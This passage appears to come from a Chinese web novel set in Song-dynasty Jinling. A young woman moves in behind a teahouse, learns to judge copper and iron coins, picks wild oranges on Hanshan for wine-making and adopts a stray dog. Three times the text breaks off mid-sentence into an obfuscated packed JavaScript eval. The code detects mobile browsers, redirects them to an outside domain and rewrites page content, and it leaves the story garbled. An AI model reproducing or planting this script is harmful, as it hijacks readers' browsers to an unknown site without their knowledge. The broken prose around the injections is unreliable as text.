若是码头上能多一家酒肆，那他们不知能多扛多少货，脚底板生风，腰杆子挺直，这样一日下来，估计比现下还能多落十几文大钱哩！ “吴娘子，方才那话可作得真？” 问话的陈大脚已撂下海碗，一双熬得通红的眼睛直勾勾望过来，蹲在条凳上的揽车夫也急吼吼地探过身子，手里半个炊饼都忘了啃。 “这位小娘子当真会酿酒？” “是啊！酿的是哪一路水酒？可比得上城南王婆子家的三重醉？” 霎时间，五六道目光都热辣辣地钉在桑梓身上。她正扶着祖母在靠墙的条凳上坐稳，只觉得那些目光混着灶火的热气扑面而来，竟比方才江风更教人屏息。 吴秀娘却不急答话，先接过儿子手里的长嘴铜壶，哗啦啦给每个空碗续上滚水，白茫茫的水汽一冲，这才笑道。 “陈大脚，你昨夜卸的那船广南香料，莫不是把耳朵也熏聋了？我吴秀娘在这江口摆摊五年，何时说过半句虚话！” 她说着，顺手把桑梓往身前轻轻一带，指尖在她瘦削的肩头按了按，像是要传些气力过去，目光却扫过茶客们。 “杜老板前日还念叨，说这码头上下苦力的汉子，干完活连口顺喉的烧刀子都寻不着像样的——” 角落里一个穿褐色短褐的汉子刚坐下，闻言抬起头嘿嘿一笑，露出被烟叶熏黄的牙，正是专给货栈牵线的牙人杜老四。 “可不是我说的，那些酒肆里的酸酿也敢要五十文一角？还不如饮马尿痛快！” 大家伙儿一下子都洒然笑起来，震得梁上灰簌簌往下掉，却把满屋的寒气都搅活了，连灶膛里的火苗都跟着蹿高了几分。 桑梓借着这机会，连忙将衣袖整了整，向前迈出半步，朝众人端端正正行了个叉手礼，声音穿过喧腾的笑语。 “各位叔伯兄弟在上，小女子家中确传得几分酿酒的手艺。若蒙不弃，日后请诸位来尝新醅。” “何必日后？我们日日都在这码头上打滚，小娘子何时支起摊子，俺们头一个来捧场！” 陈大脚不愧是个敞亮人，闻言哈哈一笑，碗沿在指间转了转，身子往后一仰便靠在了条凳上。 两条腿舒展开来，鞋底沾的泥点子都快蹭到邻座的裤腿了，那人便毫不客气地给他一胳膊肘，笑骂着把腿往里收了收。 “把你那泥蹄子收收，蹭你爹一身河泥！” “你爹我这是刚从河龙王宫里讨来的新鲜泥，赏你二两龙涎香还不知好歹！” 话虽这样讲，但脚还是收了回来，陈大脚一边眯着眼睛笑，一边用粗糙的手掌抹了把脸。 随手揩去溅到脸上的茶水，笑意却像破开乌云的日头，把满脸的疲惫都照淡了几分。 “今日且让你三分，待日后小娘子新酒出坛，头一碗须让俺老陈先尝，休得与我争抢。” “做你的清秋大梦！咱押的船比你家门板还高，要抢头碗也得先问过我这对拳头！” 众人顿时哄堂大笑，七八只粗陶碗叮叮当当碰在一处，碗里分明盛的是白水，一个个人脸上的表情倒像是提前喝上了庆功酒。 桑梓趁机悄悄退到一边，吴秀娘立时在灶台后头朝她使了个眼色，袖口往灶台后头暗处轻轻一摆，示意她过去说话。 结果刚挪过去，两把钥匙就被吴秀娘从灶膛边摸出来，带着余温塞进她手心里。 这两把钥匙都是直柄式的，铜匙齿被摸得发亮，匙柄上还沾着灶台的油光，显然是日常用惯了的。 中华文明发展到北宋这个时候，基本上该有的东西也都有了，譬如门锁和钥匙。 如今的钥匙分为直柄和弯钩两种形制，直柄多用于寻常门锁，弯钩的业务范围主要是对付那些匣子和盒子。 至于材质上，富贵人家用精铜打匙身，更有那讲究的还会在匙柄上錾出缠枝花纹。 寻常百姓家用熟铁锻造匙头，而码头仓房里挂着的，多半是沉甸甸的铁锁配着磨出毛边的铁钥匙。 桑梓手里的便是这样一把镀着锡的铁钥匙，镀锡是为着防那江边的潮气锈蚀，此刻在灶火映照下泛着青灰色的冷光，摸上去却还带着灶膛的余温。 她不明所以地看向吴秀娘，却见对方朝屋后努了努嘴，眼角细密的皱纹里藏着些意味深长的笑意。 “这是临河耳房的钥匙，原是堆杂物的披厦，昨日刚腾出来，虽窄巴些，但胜在清净。” “里头土灶陶缸都是现成的，你们祖孙俩凑合住下，旁边那小间原是堆柴的，你想干点啥营生直接上手就是。” 桑梓心下一动，只觉得喉头一热，声气都噎在嗓子眼里，竟一时说不出话，只将钥匙紧紧攥在手心。 “秀姐姐，这……” “快别愣着，带你阿婆去看看。虽是杂物间改的，我昨日特意扫洒过，透了半日风，好歹能遮风挡雨。” 桑梓重重点头，扶起祖母。 老太太一直静静听着，这时才不紧不慢地探出手，先是摸了摸那铜钥匙，又在匙柄上摩挲了两下，最后轻轻拍了拍孙女的手背。 于是穿过茶肆喧闹的前堂，掀开一道打着补丁的蓝布帘子，便是一方小小的院落。 院角堆着些劈好的柴火，地上还留着扫洒后的水痕。一间低矮的披厦静静坐落在院墙边，窗纸是新糊的，在夕阳下泛着柔和的暖光。 桑梓依照吴秀娘的指点，先把钥匙顺槽平推到底，然后把门锁拧上一圈，等听到哒的一声，再手捏锁梁往上提，这才能把门打开。 真是够麻烦的，不过总算有了一处能遮风挡雨的落脚处，而且推开窗便能望见河上江帆，听得见市井喧嚣！ 屋中靠墙垒着座土灶，旁边叠着三只粗陶缸，瓮口用桐油布扎得严实，临窗摆着张掉漆的柏木桌，桌腿用麻绳缠过两三道，倒是稳当得很。 这可太…合适了！ “阿婆，我们有家了。” 桑梓将祖母小心翼翼地扶到铺上坐好，转身便开始忙碌。 先把窗户支开，让带着江水气息的风吹进来；再用随身带的布巾，将桌椅灶台细细擦过一遍。 最后从行囊里拎出那半袋糙米，解开扎口的麻绳，哗啦啦全倒进那只最大的陶缸里。 一边倒，一边心里想着寒山上碰到的野橘子。 明日就挎个竹篮重上寒山，把那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16489005|185770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些无人问津的青皮野橘尽数摘来，连皮带瓤捣进米里发酵！ 这口缸比寒山禅院的香炉盖可强太多了，不知能酿出怎样一番天地！ “阿梓姨姨。” 桑梓闻声转头，只见半掩的门外，探进一个小脑袋。 是个七八岁的男娃，头顶梳着俩抓髻，身穿一件洗得发白的粗布短褐。江风把他一张小脸吹得红扑扑的，嵌着一对乌溜溜的眼珠，正一眨不眨地望着里头。 正是吴秀娘那个在前堂提壶续水，机灵懂事的小儿子虎头。 “站在门外做甚？快进来。” 虎头见她亲和，便大了胆子溜进门，一双小手倒背着，模样贼忒兮兮的，进得屋来眼风先四下里一扫，瞥见那三口缸，这才扭过头来小大人一样开口。 “阿娘让我来的，说姨姨和阿婆刚安顿下，怕是缺些零碎用物。” 说着从背后拿出一个小竹篮，篮子里装着几样东西—— 一小罐粗盐，一包用桑皮纸包着的、闻着像是酱菜的东西，还有一小捆干燥的艾草。 东西虽寻常，却正是日常过日子的必需之物。 “盐是调味辟邪的，酱菜是自家腌的，就着粥饭爽口。艾草熏熏屋子，去去潮气，夜里睡得安稳。” 虎头仰着小脸，一字一句地复述起来，童音清脆，偏又学着大人腔调，透着一股子认真的稚气。 桑梓心中又是一暖，手里接过竹篮，入手沉甸甸的，都是人情分量。 吴秀娘真是心细如发，连这些微末之处都替她们想到了。 “替我多谢你阿娘，真是太周到了。” 老太太原本在铺上歪着，此刻也支起身子，朝虎头露出个慈祥的笑模样：“好孩子，难为你跑这一趟，过来让阿婆瞧瞧。” 虎头便挪过去，就见老祖母一边把话说全，一边轻轻摸了摸他的头，眼里透着对孩童的天然怜爱。 “秀娘好福气，养出这么个懂事的孩子。” 虎头被夸得小脸红红，一颗脑袋几乎要埋进胸口，只拿脚尖一下下蹭着地上的土，却忽地像是从哪里借来了几分胆气脆生生开口道。 “姨姨真的会变出好喝的酒吗？我阿爹以前……也最爱吃酒了。” 桑梓闻言，心下微微一叹。 想起吴秀娘起早贪黑地支应着那间茶肆，其中艰辛自不必说。难怪眼前这孩子，虽还顶着张稚气面孔，言行举止却已带了几分懂事。 “以后姨姨就在这里，等姨姨酿出了酒，第一个让虎头闻闻香不香，好不好？” “当真？” “当真。” 桑梓笑着伸出小指，轻轻勾住虎头那根还带着点泥印子的短指头。 “来，与姨姨拉个勾，这便是作数了，谁也不许变卦。” 她引着孩子的手轻轻晃了两晃，又将自己拇指与他翘起的大拇指郑重一按。 虎头觉得这仪式新鲜又庄重，眼睛霎时亮了起来，脸上的阴霾一扫而空，小胸脯儿一挺，先是用力点头，仿佛得了什么天大的凭证，然后又轻声开口。 “姨姨带来的那条褥子破了，就交给虎头缝吧！破的地方我会缀朵辛夷花，保证看不出针脚！” 虎头话刚说完，还不等桑梓回应，便扭身像条小泥鳅似的，哧溜一下钻出了门。 桑梓一时看着半掩着的门哑然失笑。 这小子，居然还是个捏绣花针的！ 12. 学钱班 桑梓又将屋里屋外细细收拾一遍，见日头的光影已斜斜地爬上檐角，在地上拉出长长的一道，便转身往茶肆前堂去。 吴秀娘正提着铜壶给客人续水，见她来了也不客套，只将手巾往她怀里一塞，朝那满桌的碗盏努努嘴。 “来得正好，帮把手。” 所有的掌柜都得从学徒做起。 桑梓便挽起袖子，几个脚夫见她这般勤快，倒把先前玩笑收了三分，还有人默默将踩在条凳上的脚放了下来。 于是就见少女先扯过手巾将桌面抹净，再利落地将碗盏摞作一叠，稳稳端去灶房。 脸上带着笑模样，逢人便热络地招呼一声，倘若遇着那不怀好意的打量她，那群等着喝酒的茶客可第一个不依，准保教他尝尝板凳腿的滋味。 正当端着满满一摞碗转身时，茶肆门口的光线一暗。一个身影堵在了那里，是陈大脚卸完早货回来了。 满身的汗气混着河水的腥味，衣衫后背深了一块汗渍，见桑梓端着碗盏，一边侧身让开，一边粗声笑。 “小娘子仔细些！” 桑梓笑着应了一声，那一摞碗盏在她手中纹丝不动，只碗沿相碰，侧身而过便听见陈大脚对同伴低声道。 “瞧见没？不是那等娇气人。” “废话，吴秀娘家的闺女，能是孬种？” 这几句闲话飘进耳中，桑梓心下微暖，脚步也更稳了些，但其实她来帮忙是顺带，暗里留心这茶肆迎来送往的生意经才是真。 一双招子早把吴秀娘招呼熟客的声口，不同时辰客流的变化，乃至收钱时验看钱币的手段都暗自记下。 最后一点格外重要。 北宋钱制复杂，铜铁钱并行，官铸私铸混杂，更有那夹锡钱、当十钱种种名目。 寻常人摸不清门道，可吴秀娘指间一搓便知成色，耳畔一听便辨真伪。 有碰到那想用孬币混的，吴秀娘指尖一弹便听出声响不对，当即似笑非笑地戳破那层窗户纸。 若是不依，仗着自己身高马大便想闹将起来，也自有那常来吃茶的汉子们慢悠悠站起来，也不言语，只抱着胳膊冷冷瞧着，那股子沉默的威势便足以让寻衅者气短。 譬如此刻—— 吴秀娘接过一个揽车夫递来的几文铁钱，指尖一搓，眉头都未动便开口。 “老五，这钱色发乌，声儿闷得厉害，怕是掺了铅的，换一枚吧。” 那揽车夫讪讪一笑，也不争执，果然从钱袋深处另摸出一枚。 桑梓看的是暗暗佩服，心里不由赞叹桑大贵当年眼光毒辣，竟能在码头这鱼龙混杂之地，识得吴秀娘这般既重情义又藏着实干本事的妇人。 当初那点滴水之恩，如今倒成了她们祖孙的雪中送炭。 直到茶肆前的影子缩成短短的一团，正是日上柳梢之时，茶客散尽，桑梓方才净了手，上前细细请教。 “秀姐姐，你如何分得清这满桌铜铁钱的成色？” 吴秀娘闻言便从钱屉里拈出两枚钱，指尖一弹发出清越的嗡鸣，一双沾着茶渍的手指捻着铜钱在桑梓眼前一晃。 钱币凑到桑梓耳边又弹了一次。 “你听这声儿，铜钱声要脆中带沉，像庙里敲磬；铁钱声得闷中透亮，似石子落塘。” 然后又把两枚钱塞到她手里，钱币入手，一温一凉，先是感到重量上的差异，紧接着就听吴秀娘又开口。 “再好好摸摸，私铸的边齿毛糙，官铸的字口利落，你摸摸这开元通宝的元字第二笔，带钩的才是广南监所出。” 广南监便是朝廷在岭南设的铸钱院，专拿广南路的铜矿铸钱。 那地方湿热，铸出的钱总带点砂眼，像人脸上生了麻子，匠户们便在元字第二笔偷偷添个钩以验正身。 桑梓不懂这其中的门道，一边摸着那枚带着钩挑的元字钱，一边天真地发问。 “为什么广南监的钱偏要单拎出来说嘴呢？” 见小姑娘支棱着耳朵听得入神，连呼吸都屏住了，吴秀娘心里暗点头。 这丫头倒是个肯钻磨的，既如此，便定要把压箱底的本事都掏出来，好教她在这江口码头端稳这碗饭。 “广南监的钱砂眼多，铜料软，在咱这江口码头流通最广，十枚私铸钱里倒有七八枚是仿它形制呢。” “若不把这道坎儿摸透，将来你打酒卖酒才不至于被烂钱坑了本钱，不然每日不知要白赔多少炊饼钱去哩。” 真是没想到这小小一枚铜钱里，竟藏着这般多的沟壑门道。 正说着，虎头端着个木托盘从灶房出来，上面摆着两碗粟米粥和一碟酱瓜。 粥碗是厚重的粗陶，酱瓜切得细丝，淋了几滴麻油，香气隐隐，就放在桑梓和吴秀娘手边的凳子上。 “阿娘，姨姨，吃些粥再讲。” 吴秀娘随手揉了揉儿子的脑袋，对桑梓笑道。 “先垫垫，东西要学，肚子也不能空着，咱们边吃边说。” 桑梓这才觉出腹中饥饿，也捧起碗来，粥温温热热地熨帖着掌心，香香地吃了一大碗稀粥。 那粟米粥熬得恰到好处，米粒开花，酱瓜咸脆，就着吃格外爽口。她吃得急了些，吴秀娘瞧见，嘴角便弯了弯。 等到虎头利索地把碗筷一收，紧接着吴秀娘又说起那夹锡钱来。 这钱乃是官府为解铜荒，在铜料里掺了铅锡所铸。 “夹锡的子儿最是唬人，也是你要提防的，瞧着铜光锃亮，却是一掰就弯的软骨头，收进来便折尽血本。 “可是秀姐姐，既然铁钱都收得，为何偏不收这夹锡钱？它好歹还掺着铜，总比铁钱值当些。” 这是真学进去了。 吴秀娘闻言便笑了，指尖往那茶汤里一蘸，在案几上画出一道水痕。 “你道它含铜值当，却不知这钱锈得快、脆得很，市集上人人嫌恶，收进来便成了擦屁股都嫌硬的废铜烂铁。” “铁钱虽然笨重价低，却胜在耐磨损、锈蚀慢，市井间流通无阻，日日能换回米面油盐。” 桑梓竖着耳朵听着，时不时伸手去摸一摸吴秀娘推过来的样钱，比较着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16489006|185770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 指尖传来的不同触感。 一时间又跟着吴秀娘学了金陵本地钱币的辨认诀窍，连那官铸铜钱的砂眼、私铸铁钱的边齿都摸了个门清。 家有一老，如有一宝。 家有一姐，如有一秤！ 桑梓学到掌灯时分，连灶膛里的火都续了三回，把吴秀娘那手掂量钱币的绝活学了个七七八八。 一时间深深地觉得这古代的掌柜可真难做，既要会收钱算账，又要懂察言观色，连灶膛火候都得拿捏准了。 她上辈子可不用这么忙，自有团队里最伶俐的实习生会替她打理社交媒体，经纪人也会把商务洽谈安排得井井有条。 何曾需要亲手摸遍铜钱上的砂眼，又或是盯着账簿算计明日炊饼的盈亏。 脑子里被灌了一溜够的钱币门道，倒像是有满脑子的钱串子缠成一团。 桑梓回去掩上门就擦亮灯，将白日收来的铜钱一枚枚在灯下摆开。 得复习。 得亲手摸遍这些钱的边齿。 要想当个好掌柜，先得学会从钱眼儿里看世道人心。 祖母见孙女儿摸钱摸的认真，便也不作声，只就着那如豆的灯火，从针线篮里拣出几束丝线，慢条斯理地捻着股，预备明日绣个驱邪的香囊给孙女佩在身上。 “阿奶，莫绣东西，伤眼睛。” 桑梓说着便起身偎到祖母身边，就着灯火瞧那丝线，却忍不住将额头轻轻抵在老人微驼的肩头，撒娇一样蹭了蹭。 “囡囡自去忙正事……” 老人家一边说着，一边却任由孙女依偎在她肩头，枯瘦的手指仍在捻着丝线，动作却不知不觉慢了下来，最后只轻轻覆在孙女的手背上。 “今日都学了些什么？” “学了好些钱币的门道，铜钱铁钱夹锡钱，各有各的脾性。” “你爹当初也是从学钱开始，一厘一毫地认全了生意门道。当掌柜要学的物事还多着呢，算盘账簿、待人接物，哪样不是磨破几层皮才摸到门框？” 桑梓好脾气地笑了笑，就着昏黄的灯火看了看自己带着薄茧的手掌。 是啊，明日摘橘酿酒是正事，学打算盘认账簿也是正事，都得一桩一桩扎扎实实做起来。 时间已经不早了。 少女熄了灯，屋内顿时陷入一片黑暗，只有窗纸透进朦胧的月光，于是便借着这微光，摸索着在祖母身边躺下。 身下的稻草铺沙沙作响，祖母身上传来淡淡的皂角和温暖，让人由内自发地觉得心安。 没有老人味的老人，一定是能长寿的老人！ 桑梓在这片安谧里静静躺了片刻，听着祖母的呼吸声渐渐变得悠长均匀，像秋日晒场上的风车，不紧不慢地转着。 窗外的漕船摇橹声和更夫的梆子声，都渐渐模糊起来，化作了遥远的背景。 她于是先用睡眠学习法，在心里默念一遍归纳的口诀，念着念着，眼皮就渐渐沉起来，开始犯困。 既来之，则安之。 小儿磕磕碰碰学描红，他年亦能成栋梁松！ 13. 涉江采橘柑 次日五更，江雾还未散尽，桑梓已将一具竹篾篮子挎在臂弯。 篮底垫了块桐油布，边上插着把熟铁打的剪子，剪刃用粗布裹的紧紧的。 东西都是昨夜向吴秀娘借的，随着一起给她的还有整整一贯钱。 钱串子特别潇洒地啪的一下撂在她面前的柏木柜台上，麻绳串着的一千个铜钱恨不得滚出半尺远。 桑梓瞠目结舌，几乎以为她是刘邦转世，一露面就叫人忍不住掏钱掏心。 然后下意识看了看吴秀娘身边站着的细嫩小子—— 不会真要送个童养夫吧？ 紧接着就见吴秀娘大手一挥，把滚到柜台边的铜钱哗啦啦拢回掌心。 “尽管拿去用！” “这都够买多少米了，我哪用得上这许多？” 哲宗亲政之后，金陵的粮价就翻着跟头往上涨，这贯钱搁在米铺里能换两石糙米，够祖孙俩嚼用两个月的呢。 吴秀娘却正了色，将那贯钱不由分说地塞到她手里，五指在她腕上一箍，将那串沉甸甸的铜钱按进她掌心。 “你爹当年拿钱替我垫了茶肆的租子，这贯钱合该是你的本钱。你若不肯要，老娘明日就买齐香烛供品，替你送到桑家坟头烧给你爹娘！” 桑梓推辞不过，只得道了声谢，将那贯沉甸甸的铜钱仔细缠进腰间布囊里。 于是现在，少女蹲在耳房门槛上，先是摸了摸腰间的散钱，又把草鞋的麻绳又紧了一遍。 鞋也是昨日祖母编的，鞋底纳着层旧布，鞋帮用芦花絮填了缝。山道露重，得把绳结从脚踝缠到小腿肚，防那茅草茬子扎进肉里。 这一趟称得上鸟枪换炮了，十日之约成败就在今日寒山之行。 那橘林正在禅院地界，若撞上慧明…… 桑梓深吸一口气，将杂念压下。 眼下已无退路。 推门时，檐角还挂着霜。 码头上早起的漕船正扯帆，缆绳砸在青石板上啪嗒作响，混着艄公们沙哑的吆喝。 桑梓把篮子往肩上掂了掂，迎着江面泛起的晓光犹豫了片刻，还是决定搭船。 那山看着近，真走起来却要绕过河滩，她必须速去速回，赶在禅院早课人多眼杂之前撤离。 “船家，寒山渡口几文钱？” “客官，去寒山得二十文，这早雾大哩。” 那船工果然狡猾，见桑梓只一个挎着篮子的小娘子，便故意咂咂嘴，眼角瞟着她腰间的钱囊，拖长了声调。 却见岸上的小娘子连眼皮都没抬，只将篮子在腕上转了半圈，声气淡淡。 “五文钱，不走就找别船。” “哎呀，小娘子何必这般杀价……哎呀哎呀，五文就五文！” 桑梓于是停下步伐，终于掀了眼皮，瞥一眼船上故作痛心疾首的艄公，见他捂着心口咿咿呀呀，活似被割了块肉去。 在秤杆上玩跷跷板，在讨价时多报一成价码，买菜时顺手牵走两棵葱…… 劳动人民的智慧是无穷的，特别是占便宜的时候。 滩涂地的淤泥陷到脚踝，得踩着前人丢下的碎瓦片才能借力，她便深一脚浅一脚地上了船。 走到一脸哭丧的船工面前，从腰间布囊中排出五文足重的官制铜钱，一枚枚摞在他汗涔涔的掌心里。 那船工当即就病容尽消，一把攥紧铜钱，嘴角咧得能挂油瓶。 “哎呀！原是足制铜钱，小娘子这般爽利，老汉这就给您撑船！” 桑梓便又掏出三文，指尖拈着在他眼前一晃。 “返程时若候着，再加三文茶钱。” “哎呀呀，小娘子放心，老汉定候着！” 船公将钱揣入怀中，竹篙往岸上轻轻一点，小船便悠悠荡入江心。 但见江雾如纱，将远山近水都罩在一片朦胧里，初升的日头被雾气滤去了刺目的光芒，只在天边晕开一团温吞的蛋黄。 船舷破开墨绿色的江水，发出哗哗的轻响，桨声欸乃，搅得一河晨光晃来晃去。 码头的喧嚣渐渐被抛在身后，只余下水声、风声，间或有一两声水鸟的清鸣。 偶有庞大的漕船擦身而过，激起的水波让小船轻轻摇晃，船公便不紧不慢地调整着方向。 桑梓坐在船头，任由带着水汽的江风拂面，看着这古老的江河与两岸依稀的屋舍田畴，心里担心不知能不能找到那片橘林。 尽管橘子酿酒不同于其他水果，是个容易赔本赚吆喝的营生，但冬日里水果难得，能遇到那金橘已经很不容易了。 而且她有预感，这里的金橘一定能解决橘子酿酒的两大难题。 其一是因为萜烯类香气主要在橘皮里，果肉反而没什么香。 其二是因为橘子酸性偏偏还大，橘络还带着苦，而且橘皮油凶猛，一个不小心就会把酵母放倒，酒液发苦。 是以橘酒最是考较手艺，比那绣娘穿针引线还要多费十二分小心。 不过对桑梓来说—— 这都还算不得什么难处。 一边出神地想着，一边见江心转出个打鱼的舢板，老渔夫正撒开旋网，网脚在晨光里亮闪闪地绽开一朵水花。 见了那渡船上的小娘子，便扬手嘿了一声，网脚还滴着水珠子就扯开嗓门。 “小娘子这早过江，雾大仔细看路！” 正说着，一网鱼就哗啦啦兜了上来，多是些巴掌大的白鲦和鲫鱼瓜子在网里蹦跶。 更有驯养的鸬鹚扑棱着青黑油亮的翅膀，忙不迭地从船舷边钻出来凑热闹，嘴里还叼着银闪闪的鱼获向主人献宝。 那渔夫便顾不得再与小娘子聊天说地，转过身去，手脚麻利地收拾起来。 两条船一触即分，擦肩而过，各自在江面上划开两道悠悠的水痕，那桨声吱呀呀地混着水响，渐渐就远了。 又过了小半个时辰，船头轻轻擦过芦苇丛，山越来越近，起起伏伏的轮廓显出清晰的眉眼。 桑梓一眼就看到半山的禅院，青瓦粉墙若隐若现，飞檐上挑着几缕残雾，像幅刚揭屉的水墨糕，她便知快到了。 下意识缩了缩身子，借船舷挡住身形，心中默念千万别撞上熟人。 船儿有惊无险地转过最后一个弯来，便见青石板码头从雾里钻出来，船工竹篙往水里一点，扯开嗓子嚷道：“寒山渡口到喽——” 她把那三枚大钱往船工跟前一晃，便上了岸，踩着湿漉漉的青石板往山上走。 山道上的雾气比江边淡了些，石板缝里钻出湿漉漉的青苔。桑梓踩着露水往坡上走，两旁野草擦过裙角，留下亮晶晶的水痕。 待爬到半山腰，转过山坳，半坡的橘子树便露了出来，日头已从树顶上探出半张脸，把满坡野橘树照得亮堂起来。 青黄相间的果子沉甸甸压弯枝头，风里带着清涩的香气。 她刚蹑手蹑脚走到坡下，便听得身旁灌木丛传来一阵急促的窸窣声，夹着幼兽焦急的呜咽声。 桑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16489007|185770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 梓浑身一僵，心中叫苦不迭。 真是怕什么来什么！ 这大清早的，怎么还能有小动物跑到这橘林里来？ 万一引来巡山的僧人该如何是好？ 她屏住呼吸，连忙拨开枝叶往前看去，就见一只小黄狗正绕着橘子树根打转，急得直用前爪扒拉树下的松土，尾巴焦躁地扫着草叶。 先是站起来，前爪胡乱扒拉着树干，奈何个子矮撅撅，试了几回都够不着，正在这里着急—— 就见得一个少女轻飘飘地走到树下，伸手把枝桠压低，摘下个金黄的果实甩到自己面前。 狗儿：！ 这人竟有这般能耐！ 不愧是两脚兽啊，就是比它这四只爪子的强！ 桑梓哪知道小狗儿的所思所想，只揪下一只金橘来，就见这黄毛小狗眼睛一亮，尾巴摇得快要甩出残影来，前爪就地就开始刨坑。 桑梓：…… 合着还是个想吃橘子的狗。 虽然心中腹诽，但桑梓见小狗被橘子吸引，这才稍稍松了口气。 一边留意着山道的动静，一边手下不停，飞快地采摘品相最好的橘子，动作又轻又快，恨不得能多生出一双手来。 偶尔丢一个给一边的小狗，就见它纵身跃起一口叼住，落地便咔哧咔哧啃起来，连皮带核囫囵吞得欢实。 再后来甚至越吃越快，一个果子刚丢出去，影子都来不及落地，就被咽下肚里。 知道的这是喂小狗，不知道的还当是训练天狗吃月哩！ 狗子吃得欢实，却不知眼前这少女的心思早已飞到了九霄云外。 每次听到远处似有脚步声或人语，动作便瞬间停下来，人也藏到金橘丛后，凝神细听，确认是错觉才敢继续。 这般提心吊胆，简直比那日与慧明对峙还要劳神。 但是随着篮子慢慢装满，看着那黄狗撒欢的无忧模样，心弦倒也稍稍松弛，渐渐竟生出要不要带它回家的心思了。 若真有只机灵的狗儿看家，日后也安心些。 养狗在宋朝倒也不算稀罕事，汴京城里专有卖猫粮狗食的铺面，贵妇们抱狮子狗比抱孩儿还亲。 哪怕就是农家，也常养土狗看家护院，夜间防贼比甚么都顶用。 具体落实到桑梓这里，一来她和祖母两个一老一小，养条狗夜里听个响动也是好的；二来酒这东西贵重，有条狗看家护院也安心些；三来这黄犬瞧着机灵，剩饭残羹便能养活，费不了几个铜板。 是以一边想着，一边就收了篮子蹲下身，平视着狗儿湿漉漉的黑鼻头。 “你若肯跟我过活，便跟着我回家去吧。” 话音一落，少女快步就走。 那狗儿竟真的甩着尾巴就跟了上来，半步不落地随在她身后，倒像是给它领着路似的。 步伐慢些，狗便放慢脚步去嗅路边草根，时不时还抬头望她；若是加快脚步，那狗便撒开四蹄紧追，生怕被落下似的。 这算是什么事儿？ 出门来找酿酒的果子，倒先捡了个看家的帮手。 直到远远望见江边等候的渡船，桑梓这颗悬着的心，才算重重落回了肚里。 她忽地想起苏家山庄里那只吃酒的八哥，便忍不住眯眼笑，摇头轻叹一声，任那狗儿颠颠儿跟着上了船，倒像是她捡了宝。 你有八哥，我有小黄。 谁又能说比谁高级呢，毕竟我这黄毛伙计，可是冒了风险才得来的呢！ 14. 活阎王手下小鬼 那船公果然还守着渡船，正叼着旱烟袋在船头敲烟灰。 瞧见桑梓挎着满篮金橘从芦苇丛里钻出来，身后还颠颠地跟着条黄毛犬，惊得烟杆差点掉进江里。 “哟！小娘子这趟买卖划算，摘果还捎带看家护院的？” 船公眯眼打量那狗，见它浑身沾着草籽泥点，却偏生昂头竖尾透着一股机灵劲，不由咂嘴道。 “那禅院的狗可不好拐，棍僧养的那几条恶犬啊…啧啧啧…” 桑梓一脚踏上船，小黄狗却不等招呼便端坐船板，尾巴啪嗒啪嗒拍着湿木板，倒像它才是船主。 “老师傅看岔了，”桑梓解下腰间水囊抿了一口，任那狗儿凑过来嗅囊口的竹塞，“这野犬在橘林里刨食吃，见人收工便跟着讨生活，与禅院有甚相干？” 话音未落，黄犬竟似听懂了一样汪地应和一声，逗得船公哈哈大笑。 船公竹篙一点，渡船晃晃悠悠离了岸，小黄狗初时还绷着身子紧盯水面浮沫，待见几只白鹭掠过船头，便按捺不住扑到船舷。 桑梓伸手按住它，忽见对岸码头上已有衙役在查漕船，心口便是一跳。 北宋吏治不修，官差查船名为盘检，实为索贿。 那些衙役月俸不过三五百文，公使钱又轮不上他们，全靠这等常例钱贴补。她这般年纪的小娘子独个出行，在那班公人眼里便是块流油的肥肉。 虽说道路往来本是常事，但女子孤身无伴，少不得要被疑作逃婢私奔之流。 更何况这些人见了女子便如蝇见血，纵是良家子也要捏造个由头。 那些衙役惯会鸡蛋里挑骨头，若被扯进班房勾唤对质，少不得叫那桑大富知道她们祖孙尚在人世，还不知要出多少额外的事。 总而言之，今日这身粗布衣裙可实在经不起盘问。 船工也见了对岸光景，竹篙捏得吱呀响，压低声问她。 “娘子可曾多带些钱？” 若不想吃眼前亏，少不得要破财消灾——这已是金陵两岸心照不宣的规矩。 桑梓闻言摸了摸腰间的布囊。 钱是还有些，但她不想给——废话，没人想给，铜钱扔进水里还能听个响，喂那帮豺狼却是肉包子打狗，有去无回！ 但船已然到了江心，那边衙役的眼风已然漫不经心地扫了过来，这事儿今日算是避不开了。 真是多事之秋！ 桑梓叹了口气，头一回觉得这北宋真是活阎罗遍地走，小鬼难缠。 还好她可能没有大智慧，急智却像野草般见风就长，歪门邪道的小聪明总是不缺的。 “莫慌，只管往前撑船，我有法子。” 船工依言便将竹篙往江底一顶，渡船晃悠悠朝对岸漂去，可等他再一扭头，就被眼前的景象唬得倒抽凉气—— 